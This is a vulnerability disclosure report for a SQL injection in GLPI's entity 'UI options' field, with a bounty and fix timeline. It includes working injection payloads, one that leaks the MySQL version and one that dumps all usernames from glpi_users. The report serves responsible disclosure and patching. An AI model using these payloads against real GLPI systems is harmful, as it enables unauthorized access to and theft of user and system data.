SQL Injection in glpi-project/glpi

Valid

Reported on

Nov 13th 2021


Description

A user with only the following rights (on a sub-entity):

  • Setup > General setup (Read + Update)
  • Administration > Entity (Read + Update) is authorized to update "UI options" field from "UI customization" tab of an entity's configuration.

This customization option is not correctly escaped, allowing to launch SQL injection.

Proof of Concept

The normal SQL update query is:

UPDATE `glpi_entities` SET `custom_css_code` = 'my custom css' WHERE `id` = '1';

If we use the following code in the "UI options" field:

', comment = (SELECT version());#

Executed query becomes:

UPDATE `glpi_entities` SET `custom_css_code` = '', comment = (SELECT version());# WHERE `id` = '1';

Then MySQL server version can be found in the "Comments" field of all entities (even those for which the user doesn't have the rights).

Obviously this is only an example, we can also use this query (or from any GLPI table):

', comment = (SELECT GROUP_CONCAT(name) from glpi_users);#

Impact

This vulnerability is capable of retrieve normally inaccessible data (GLPI data, system data, mysql data).

We are processing your report and will contact the glpi-project/glpi team within 24 hours. 7 months ago
We have contacted a member of the glpi-project/glpi team and are waiting to hear back 7 months ago
glpi-project/glpi maintainer validated this vulnerability 7 months ago
bull53y3fl1nch has been awarded the disclosure bounty
The fix bounty is now up for grabs
François Legastelois confirmed that a fix has been merged on 5c3eee 24 days ago
François Legastelois has been awarded the fix bounty
to join this conversation